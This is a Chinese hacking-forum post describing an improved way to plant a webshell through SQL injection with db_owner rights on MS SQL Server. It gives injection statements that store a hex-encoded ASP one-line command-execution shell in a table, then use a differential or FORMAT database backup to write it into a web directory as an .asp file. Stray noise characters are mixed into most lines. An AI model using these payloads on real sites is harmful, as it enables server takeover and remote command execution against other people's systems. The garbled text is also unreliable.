找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2343|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少0 T( b0 I+ [& ?, n. ?1 l4 f0 m1 I
. O( i2 u& w  A7 p7 |' u" {
一利用差异备份
2 R# N! y" E: b+ X# w加一个参数WITH DIFFERENTIAL
. y/ q' s6 H& \8 @# b
' c7 j  |/ \- I* F8 edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 e; q5 B: ?! zcreate table [dbo].[xiaolu] ([cmd] [image]);
  A: J4 m% U" E9 A9 Y% [0 t" P) Winsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E): `; M$ s) i6 l1 S7 `
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL+ v; H" E& Z& \( K" n5 n. d

$ c& {8 U8 S. e, k* w( p7 s二利用完全FORMAT0 Z+ d3 p4 f% ?+ g
加一个参数WITH FROMAT
8 W( ]' @6 {+ I/ c- c有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
2 W# Z  d2 u& E! J$ g+ }/ i% Z" ]* L" r9 S
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s: ]- w, |, ?8 q6 X/ a2 R7 H4 h, q
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
- ^. v8 `4 v3 m$ L, X1 E% E0 edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
( p. Q1 v! a% M) e/ Y9 h2 t7 x* N6 U2 @' t
总的来说就是那么简单几句,下面以备份数据库model为例子
0 @! X( j7 F/ I5 u1 H7 J+ r# _! }) y3 e* w9 e
id=1;use model create table cmd(str image);insert into cmd(str) values (”)8 p6 B6 M9 y" v

+ L' y6 Q) K1 S# rid=1;backup database model to disk=’你的路径‘ with differential,format;–
6 B* O" ]/ o& N6 H6 N2 r4 f
7 }* f. \0 U# _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表